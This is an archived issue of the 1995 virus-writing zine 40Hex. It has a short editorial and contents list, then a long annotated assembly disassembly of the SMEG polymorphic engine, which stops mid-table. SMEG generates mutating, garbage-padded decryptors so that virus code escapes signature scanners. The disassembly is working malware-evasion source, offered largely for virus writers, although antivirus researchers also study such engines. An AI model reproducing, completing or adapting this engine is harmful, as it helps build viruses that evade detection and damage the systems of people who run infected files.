💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › 40HEX › 40hex014 captured on 2022-06-12 at 10:05:43.

View Raw

More Information

-=-=-=-=-=-=-

40Hex Number 14 Volume 5 Issue 1                                      File 000

   Wow, another release of 40hex.  Bet you thought we were dead.  Wrong. 
Lots of stuff has happened since the last issue of 40hex.  The most
important thing to note is that my apartment burned down back in November. 
I lost pretty much everything, but miraculously, my 386/33 and the 8 megs of
ram inside it survived a BIG fire, the water hose, then being thrown out of
a 3 story window.  All of the information I had was destroyed however.  
   The next thing I would like to mention is the Wired Article that appeared
about PHALCON/SKISM.  It sucked.  Besides the fact that I was called the
"Official Archivist", it was filled with standard virus hype.  But hey, at
least we get to see a picture of Hellraiser and Mark Ludwig.
   


Where to get 40hex:

ftp: 
---
aql.gatech.edu:/pub/virii
netcom.com:/br/bradleym/zines

WWW:
---
http://underground.org/publications/40hex

Email:
-----
fortyhex@phantom.com

Phalcon/Skism's Top 13 List of Things you Find in 40hex-14
----------------------------------------------------------


40hex-14.000 Mrrrh, yer stepping in it.
40hex-14.001 Smeg Disassembly
40hex-14.002 Kill Smeg
40hex-14.003 Boot Sectors Explored
40hex-14.004 Assassin
40hex-14.005 And Now for something completely useless...
40hex-14.006 Junkie Dis
40hex-14.007 Virus Spotlight: 3APA3A
40hex-14.008 Corporate Life
40hex-14.009 Grace
40hex-14.010 Level 3
40hex-14.011 Jump
40hex-14.012 UMB Residency
40hex-14.013 Avalanche 


40Hex is (C) 1995 Phalcon/Skism. All rights reserved. This magazine may not
be sold or modified without the written consent of Phalcon/Skism.


Greetings flyin' out to: Qark, Antigen, Lookout, Dark Slayer, Theora, cDc,
MHP, #virus, and all the members that have gotten back in touch with us.

-- >> G-to-the-H-to-the-E-to-the-A-to-the-P




40Hex Number 14 Volume 5 Issue 1                                      File 001

SMEG is one of those ubiquitous polymorphism aids which have become fashionable
during the last few years. It was written by the Black Baron of England. It
tends to generate rather large decryptors. The only really interesting feature
is that it has the capability of generating CALL's to garbage subroutines. Note
that there are only a few routines which SMEG chooses from, so this encryption
is more on the level of Whale coupled with garbling. The debug script follows
the disassembly.

                Dark Angel
                Phalcon/Skism 1995

-------------------------------
; This is the disassembly of a SMEG demonstration program which generates
; snippets of code encrypted with SMEG.

                .model  tiny
                .code
                .radix  16
                org     100
; Disassembly by Dark Angel of Phalcon/Skism
; for 40Hex #14 Vol 5 Issue 1
workbuffer      struc
datasize        dw      ?       ; 00 length of data to crypt
sourceptr       dw      ?       ; 02 pointer to data to crypt
targetptr       dw      ?       ; 04 pointer of where to put crypted data
                db      ?       ; 06 reg0 encryption value
                db      ?       ; 07 reg1 counter register
                db      ?       ; 08 reg2 temporary storage for data
                                ;         to be decrypted
                db      ?       ; 09 reg3
                db      ?       ; 0A reg4 (always BP)
                db      ?       ; 0B reg5
                db      ?       ; 0C reg6
                db      ?       ; 0D reg7 pointer register
rng_buffer      dw      ?       ; 0E used by random number generator
cryptval        db      ?       ; 10 encryption value
ptr_offsets     dw      ?       ; 11 XXXX in [bx+XXXX] memory references
loop_top        dw      ?       ; 13 points to top of decryption loop
pointer_patch   dw      ?       ; 15 points to initialisation of pointer
counter_patch   dw      ?       ; 17 points to initialisation of counter
pointer_fixup   dw      ?       ; 19 needed for pointer calculation
crypt_type      db      ?       ; 1B how is it encrypted?
initialIP       dw      ?       ; 1C IP at start of decryptor
lastgarble      db      ?       ; 1E type of the last garbling instr
cJMP_patch      dw      ?       ; 1F conditional jmp patch
CALL_patch      dw      ?       ; 21 CALL patch
nJMP_patch      dw      ?       ; 23 near JMP patch
garbage_size    dw      ?       ; 25 # garbage bytes to append
decryptor_size  dw      ?       ; 27 size of decryptor
last_CALL       dw      ?       ; 29 location of an old CALL patch location
which_tbl       dw      ?       ; 2B which table to use
workbuffer      ends

SMEG_demo:      jmp     enter_SMEG_demo
filename        db      '0000.COM', 0

prompt          db      'SMEG v0.3.  Generation Difference Demonstration',0Dh
                db      0A,9,'   (C) The Black Baron 1994',0Dh,0A,0A,0A
                db      'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
                db      '1  --  10     Generations',0Dh,0A
                db      '2  --  100        ""',0Dh,0A
                db      '3  --  1000       ""',0Dh,0A
                db      '4  --  10000      ""        (Large HD`s Only!!)




_10             db      ' 10 



_100            db      ' 100 



_1000           db      ' 1000 



_10000          db      ' 10000 




generating      db      0Dh,0A,0A,0A,'Generating





please_wait     db      'Executable .COM Generations, Please Wait...




checkdiff       db      0Dh,0A,0A
                db      'DONE!  Now examine each, and'
                db      ' note how different they are!',0Dh,0A,0A,7,'




diskerror       db      0Dh,0A,0A,'SORRY!  A disk error has occurred!'
                db      0Dh,0A,0A,7,'




num2gen         dw      10d, offset _10
                dw      100d, offset _100
                dw      1000d, offset _1000
                dw      10000d, offset _10000

enter_SMEG_demo:mov     ax,3                    ; set video mode to standard
                int     10                      ; text mode (clear screen, too)

                mov     dx,offset prompt        ; display prompt
                mov     ah,9
                int     21

inputloop:      mov     ax,0C07                 ; clear keyboard buffer & get
                int     21                      ; keystroke

                cmp     al,'1'                  ; must be between 1 and 4
                jb      inputloop
                cmp     al,'4'
                ja      inputloop

                sub     al,'1'                  ; normalise
                xor     ah,ah                   ; and find out how many files
                add     ax,ax                   ; we should generate
                add     ax,ax
                add     ax,offset num2gen
                xchg    bx,ax
                push    bx

                mov     dx,offset generating
                mov     ah,9                    ; display string
                int     21

                pop     bx                      ; display num to generate
                mov     cx,[bx]
                push    cx
                mov     dx,[bx+2]
                int     21

                mov     dx,offset please_wait   ; display string again
                int     21

                pop     cx

gen_file_loop:  push    cx
                mov     bp,offset data_area     ; set up SMEG registers
                mov     di,offset target_area
                mov     dx,offset carrier
                mov     cx,offset end_carrier - offset carrier
                mov     ax,100                  ; COM files start exec @ 100
                call    SMEG                    ; encrypt the carrier file

                mov     ah,5Bh                  ; create new file
                mov     dx,offset filename
                xor     cx,cx
                int     21
                jnc     created_file
print_error_exit:
                call    print_error
exit_error:     pop     cx
                mov     ax,4CFF                 ; terminate errorlevel -1
                int     21

created_file:   xchg    bx,ax
                mov     ah,40                   ; write decryptor
                mov     cx,[bp.decryptor_size]
                mov     dx,offset target_area
                int     21
                jnc     write_rest

close_exit:     call    print_error
                mov     ah,3E                   ; close file
                int     21
                jmp     short exit_error

write_rest:     call    encrypt                 ; encrypt the code
                mov     ah,40                   ; the write the result to the
                mov     cx,[bp.datasize]        ; file
                mov     dx,offset target_area
                int     21
                jc      close_exit

                call    generate_garbage        ; create garbage
                mov     ah,40                   ; append it to the file
                int     21
                jc      close_exit

                mov     ah,3E                   ; close file
                int     21
                jc      print_error_exit

                mov     bx,offset filename+3    ; calculate next file name
                mov     cx,4
inc_fname:      inc     byte ptr [bx]
                cmp     byte ptr [bx],3A
                jb      increment_done
                sub     byte ptr [bx],0A
                dec     bx
                loop    inc_fname
increment_done: pop     cx
                loop    gen_file_loop

                mov     dx,offset checkdiff     ; display string
                mov     ah,9
                int     21

                mov     ax,4C00                 ; exit errorlevel 0
                int     21

print_error:    mov     dx,offset diskerror     ; display error message
                mov     ah,9
                int     21

                retn

carrier:        call    enter_carrier
                db      0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
                db      ' decryptor!',0Dh,0A,'



enter_carrier:  pop     dx
                mov     ah,9                    ; print string
                int     21

                mov     ax,4c00                 ; terminate
                int     21
end_carrier:

; SMEG code begins here

SMEG:           mov     [bp.datasize],cx        ; save length to crypt
                mov     [bp.sourceptr],dx       ; save offset to data to crypt
                mov     [bp.targetptr],di       ; save offset to where to put crypted stuff
                push    bx si

                mov     bx,bp
                db      83,0C3,06 ; add bx,6
                mov     cx,2Dh                  ; clear the work area with 0's
; the above line is buggy. it should read: mov cx,2Dh-6
                push    bx
clear_dataarea: mov     [bx],ch
                inc     bx
                loop    clear_dataarea

                mov     [bp.initialIP],ax       ; store initial IP
                call    rnd_init
                mov     bx,offset use_regs_tbl
                call    rnd_get
                and     al,1F
                xlat
                pop     bx
                mov     cx,4
fill_registers:
                xor     dl,dl                   ; fill in which registers
                rcl     al,1                    ; do which job
                rcl     dl,1
                rcl     al,1
                rcl     dl,1
                mov     [bx],dl
                inc     bx
                loop    fill_registers

                mov     byte ptr [bx],5         ; use BP as a garbling register
                inc     bx
                inc     bx
                call    rnd_get
                rol     al,1                    ; get top bit of al
                and     al,1                    ; to select between
                add     al,6                    ; si and di for ptr
                mov     [bx],al                 ; register
                xor     al,1                    ; flip to the other one
                cmp     byte ptr [bx-3],3       ; is it BX?
                jne     is_not_bx
                mov     [bx-3],al
                mov     al,3
is_not_bx:      mov     [bx+1],al
                mov     al,[bx-3]
                mov     [bx-1],al

gen_cryptval:   call    rnd_get
                xor     al,ah
                jz      gen_cryptval
                mov     [bp.cryptval],al        ; store encryption value

                call    rnd_get                 ; get a random value for the
                or      al,1                    ; offset of memory references,
                mov     [bp.ptr_offsets],ax     ; i.e. the XXXX in [bp+XXXX]

                call    rnd_init                ; generate a random number
                and     ax,3FF                  ; from 80 to 47F to be the
                add     ax,80                   ; number of garbage bytes to
                mov     [bp.garbage_size],ax    ; add

; the next block serves no purpose. but it is a valid text string...
                xor     ax,ax                   ; 3?SMEG????
                add     al,53                   ; where ? stands for an upper
                dec     bp                      ; ASCII character
                inc     bp
                inc     di
                add     al,0AE
                cld
                sub     di,ax

                call    rnd_get                 ; do the following from
                and     ax,3                    ; 3 to 7 times
                add     al,3
                xchg    cx,ax
begin_garble:   push    cx
                call    garble_more
                call    rnd_get
                cmp     al,8C
                jbe     no_int21
                and     ax,3                    ; encode a dummy int 21
                add     ax,offset int21fcns     ; call
                xchg    si,ax
                mov     ah,0B4
                lodsb
                xchg    ah,al
                stosw
                mov     ax,21CDh                ; encode int 21
                stosw
no_int21:       pop     cx
                loop    begin_garble

                mov     al,0E8                  ; encode a CALL
                stosb
                push    di                      ; write garbage for offset
                stosw                           ; of call for now
                call    garble_more             ; encode some garbage
                mov     al,0E9                  ; encode a JMP
                stosb
                pop     bx
                push    di
                stosw
                push    di
                pop     ax
                dec     ax
                dec     ax
                sub     ax,bx
                mov     [bx],ax                 ; patch CALL to point to
                                                ; space past the JMP where we
                call    garble_more             ; encode a garbage subroutine

                mov     al,0C3                  ; encode a RETN
                stosb

                pop     bx
                push    di
                pop     ax
                dec     ax
                dec     ax
                sub     ax,bx
                mov     [bx],ax                 ; Make JMP go past subroutine

                call    encode_routine          ; encode the routine!

                mov     si,bp
                db      83,0C6,08 ; add si,8    ; default to using data temp
                                                ; storage register to return
                                                ; to top of loop
                and     al,al                   ; check return code of routine
                jnz     how_to_top
                dec     si                      ; if 0, instead use encryption
                dec     si                      ; value register to return
how_to_top:     mov     al,75                   ; encode JNZ
                stosb
                inc     di
                push    di
                call    garble_some
                pop     bx
                mov     al,0E9                  ; encode a JMP
                stosb
                push    di
                inc     di                      ; skip the offset for now
                inc     di
                mov     ax,di
                sub     ax,bx
                mov     [bx-1],al               ; patch the JNZ
                call    garble_some

                call    rnd_get
                and     ax,3                    ; first entry requires
                add     ax,ax                   ; no register setup, so
                jz      no_setup                ; jmp past it

                push    ax
                mov     al,0B8
                or      al,[si]                 ; MOV word-reg, XXXX
                stosb
                mov     ax,[bp.loop_top]
                sub     ax,[bp.targetptr]
                add     ax,[bp.initialIP]
                stosw
                call    garble_some
                pop     ax
no_setup:       add     ax,offset jmp_table
                xchg    bx,ax
                call    word ptr [bx]           ; encode method of returning
                stosw                           ; to the top of the loop

                pop     bx
                mov     ax,di
                sub     ax,bx
                dec     ax
                dec     ax
                mov     [bx],ax
                call    garble_more
pad_paragraph:  mov     ax,di                   ; pad the decryptor out to the
                sub     ax,[bp.targetptr]       ; nearest paragraph
                and     al,0F                   ; do we need to?
                jz      padded                  ; no, we are done
                cmp     al,0C                   ; otherwise, still a lot to go?
                ja      one_byte_pad            ; no, do one byte at a time
                call    not_branch_garble       ; else do a nonbranching
                jmp     short pad_paragraph     ; instruction

one_byte_pad:   call    rnd_get                 ; do a random one byte padding
                call    do_one_byte             ; instruction
                jmp     short pad_paragraph

padded:         mov     ax,di
                sub     ax,[bp.targetptr]
                mov     [bp.decryptor_size],ax
                add     ax,[bp.initialIP]
                mov     cx,[bp.pointer_fixup]
                sub     ax,cx
                mov     bx,[bp.pointer_patch]
                mov     [bx],ax
                mov     bl,[bp.crypt_type]      ; get encryption type so
                mov     cl,3                    ; the initial value of the
                ror     bl,cl                   ; counter can be calculated
                db      83,0E3,0F ; and bx,0F
                add     bx,offset counter_init_table
                mov     ax,[bp.datasize]
                call    word ptr [bx]

                mov     bx,[bp.counter_patch]   ; patch the value of the
                mov     [bx],ax                 ; counter as needed

                pop     si bx
                retn

generate_garbage:
                mov     cx,[bp.garbage_size]    ; write random bytes
                mov     di,[bp.targetptr]       ; to the target location
                push    cx di
random_gen:     call    rnd_get
                stosb
                loop    random_gen
                pop     dx cx
                retn

write_table     dw      offset write_nothing
                dw      offset write_cryptval
                dw      offset write_pointer_patch
                dw      offset write_counter_patch
                dw      offset write_ptr_offset
                dw      offset write_dl

; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl:   db      00011011b ; ax cx dx bx
                db      11000110b ; bx ax cx dx
                db      10110001b ; dx bx ax cx
                db      01101100b ; cx dx bx ax
                db      11100100b ; bx dx cx ax
                db      00111001b ; ax bx dx cx
                db      01001110b ; cx ax bx dx
                db      10010011b ; dx cx ax bx
                db      01001011b ; cx ax dx bx
                db      11010010b ; bx cx ax dx
                db      10110100b ; dx bx cx ax
                db      00101101b ; ax dx cx bx
                db      11100001b ; bx dx ax cx
                db      01111000b ; cx bx dx ax
                db      00011110b ; ax cx bx dx
                db      10000111b ; dx ax cx bx
                db      00100111b ; ax dx cx bx
                db      11001001b ; bx ax dx cx
                db      01110010b ; cx bx ax dx
                db      10011100b ; dx cx bx ax
                db      11011000b ; dx ax bx cx
                db      00110110b ; ax bx cx dx
                db      10001101b ; bx cx dx ax
                db      01100011b ; cx dx ax bx
                db      11100100b ; bx dx cx ax
                db      00101101b ; ax dx cx bx
                db      00100111b ; ax dx cx bx
                db      00011110b ; ax cx bx dx
                db      11000110b ; bx ax cx dx
                db      10000111b ; bx cx ax dx
                db      11010010b ; cx bx ax dx
                db      01110010b ; cx bx ax dx

onebyte_table:  dec     ax
                inc     ax
                clc
                cld
                cmc
                stc
                inc     ax
                dec     ax

; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table:   dw       80F1   ;  XOR reg, XXXX
                dw       3201   ;  XOR reg, [reg]
                dw      0F6C1   ; TEST reg, XXXX
                dw       8405   ; TEST/XCHG reg, [reg]
                dw       80E9   ;  SUB reg, XXXX        (2 diff encodings)
                dw       2A01   ;  SUB reg, [reg]
                dw      0D0EBh  ;  SHR reg, 1
                dw       1A01   ;  SBB reg, [reg]
                dw       80D9   ;  SBB reg, XXXX
                dw       80D1   ;  ADC reg, XXXX
                dw      0D0FBh  ;  SAR reg, 1/CL
                dw      0D0E3   ;  SHL reg, 1/CL
                dw      0D0CBh  ;  ROR reg, 1/CL
                dw      0D0C3   ;  ROL reg, 1/CL
                dw       8405   ; TEST/XCHG reg, [reg]
                dw      0D0DBh  ;  RCR reg, 1/CL
                dw      0C6C1   ;  MOV reg, XXXX
                dw      080C9   ;   OR reg, XXXX
                dw       0A01   ;   OR reg, [reg]
                dw      0F6D1   ;  NOT reg
                dw      0F6D9   ;  NEG reg
                dw       8A01   ;  MOV reg, [reg]
                dw      0C6C1   ;  MOV reg, XXXX
                dw       0201   ;  ADD reg, [reg]
                dw       80C1   ;  ADD reg, XXXX
                dw       80FDh  ;  CMP reg, XXXX
                dw       3807   ;  CMP reg, [reg]       (2 diff encodings)
                dw       80E1   ;  AND reg, XXXX
                dw      0D0D3   ;  RCL reg, 1/CL
                dw       2201   ;  AND reg, [reg]
                dw       1201   ;  ADC reg, [reg]
                dw       8A01   ;  MOV reg, [reg]

int21fcns       db      19,2A,2C,30

counter_init_table:
                dw      offset counterinit0
                dw      offset counterinit1
                dw      offset counterinit2
                dw      offset counterinit3
                dw      offset counterinit4
                dw      offset counterinit5
                dw      offset counterinit6
                dw      offset counterinit7

encode_table    dw      offset use_as_is
                dw      offset fill_mod_field
                dw      offset fill_field
                dw      offset fill_reg_reg1
                dw      offset fill_reg_field
                dw      offset fill_mod_n_reg
                dw      offset fill_reg_reg2

encode_tbl1:    db       8,8C,0,0C8,4,0         ; 1 MOV reg0, CS
                db       8,8E,0,0D8,4,0         ; 2 MOV DS, reg0
                db       7,0B8,4,-1,0,2         ; 3 MOV reg7,initial pointer
                db       1,0B8,4,-1,0,3         ; 4 MOV reg1,initial counter
                db       57,8A,0,80,5,4         ; 5 MOV reg2,[reg7+offset]
                db       57,88,0,80,5,4         ; 6 MOV [reg7+offset],reg2
                db       2,80,0,0F0,4,1         ; 7 XOR reg2,cryptvalue
                db       11,8Bh,0,0C0,5,0       ; 8 MOV reg2,reg1
                db       78,30,0,0,6,0          ; 9 XOR [reg7],reg0
                db       47,0F6,0,98,4,4        ; A NEG [reg7+offset]
                db       47,0F6,0,90,4,4        ; B NOT [reg7+offset]
                db       7,40,4,-1,0,0          ; C INC reg7
                db       1,48,4,-1,0,0          ; D DEC reg1
                db       8,0B0,4, -1,0,1        ; E MOV reg0,cryptval
                db       10,33,0,0C0,5,0        ; F XOR reg2,reg0

encode_tbl2:    db       47,86,0,80,5,4         ; 1 XCHG reg0,[reg7+offset]
                db       8,40,4,-1,0,0          ; 2 INC reg0
                db       8,48,4,-1,0,0          ; 3 DEC reg0
                db       7,81,0,0C0,4,15        ; 4 ADD reg7,1
                db       1,81,0,0E8,4,15        ; 5 SUB reg1,1
                db       10,2,0,0C0,5,0         ; 6 ADD reg2,reg0
                db       10,2A,0,0C0,5,0        ; 7 SUB reg2,reg0
                db       47,0FBh,4,0B0,4,4      ; 8 PUSH [reg7+offset]
                db       47,8F,0,80,4,4         ; 9 POP  [reg7+offset]
                db       8,50,4,-1,0,0          ; A PUSH reg0
                db       8,58,4,-1,0,0          ; B POP reg0
                db       10,87,0,0C0,5,0        ; C XCHG reg2,reg0
                db       2,40,4,-1,0,0          ; D INC reg2
                db       8,8Bh,0,0C0,5,0        ; E MOV reg1,reg0
                db       9,23,0,0C0,5,0         ; F AND reg1,reg1

routine4:       db      10
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; INC reg0                      (02)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      13,24,0EF,05,0F0,26,0CDh,-1

routine8:       db      71
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; NEG [reg7+offset]             (A)
                ; DEC reg1                      (D)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; DEC reg0                      (03)
                ; ADD reg7,1                    (04)
                ; SUB reg1,1                    (05)
                ; DEC reg0                      (03)
                ; SUB reg1,1                    (05)
                ; done                          (-1)
                db      34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1

routine1:       db      42
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
                ; MOV DS,reg0                   (2)
                ; beginning of loop             (0)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)


                db      43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
                db      0F0,-1,0

routineC:       db      33
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; NOT [reg7+offset]             (B)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; XOR reg2,reg0                 (F)
                ; INC reg7                      (C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; XOR reg2,reg0                 (F)
                ; done                          (-1)
                db      14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1

routineE:       db      64
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; XOR [reg7],reg0               (9)
                ; MOV reg2,reg1                 (8)
                ; XCHG reg2,reg0                (0C)
                ; INC reg0                      (02)
                ; INC reg2                      (0D)
                ; INC reg0                      (02)
                ; ADD reg7,1                    (04)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; MOV reg1,reg0                 (0E)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1

routine2:       db      5
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; XOR reg2,encryption value     (7)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; PUSH reg0                     (0A)
                ; SUB reg2,reg0                 (07)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; INC reg0                      (02)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
                db      0D0,0C0,0E0,0B0,20,0F0,-1

routineF:       db      56
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; INC reg2                      (0D)
                ; ADD reg2,reg0                 (06)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; DEC reg0                      (03)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1

routine9:       db      27
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; XOR [reg7],reg0               (9)
                ; XOR reg2,reg0                 (F)
                ; ADD reg7,1                    (04)
                ; PUSH reg0                     (0A)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; DEC reg0                      (03)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
                db      -1

routine7:       db      32
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
                ; beginning of loop             (0)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; POP reg0                      (0B)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; ADD reg7,1                    (04)
                ; DEC reg1                      (D)
                ; done                          (-1)
                ; return code 0                 (0)
                db      41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0

routine5:       db      11
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; NEG [reg7+offset]             (A)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; DEC reg0                      (03)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1

routineB:       db       66
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; XCHG reg2,reg0                (0C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; ADD reg2,reg0                 (06)
                ; PUSH reg0                     (0A)
                ; XCHG reg2,reg0                (0C)
                ; PUSH reg0                     (0A)
                ; POP [reg7+offset]             (09)
                ; POP reg0                      (0B)
                ; DEC reg0                      (03)
                ; INC reg7                      (C)
                ; XOR reg2,reg0                 (F)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
                db      60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1

routine3:       db      4
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg2,reg1                 (8)
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; beginning of loop             (0)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; XCHG reg2,reg0                (0C)
                ; XOR [reg7],reg0               (9)
                ; INC reg7                      (C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
                db      0F0,-1

routineD:       db      73
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg1,initial counter      (4)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; NOT [reg7+offset]             (B)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg0                      (02)
                ; ADD reg7,1                    (04)
                ; INC reg0                      (02)
                ; SUB reg1,1                    (05)
                ; done                          (-1)
                db      31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
                db      50,-1

routine0:       db      20
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
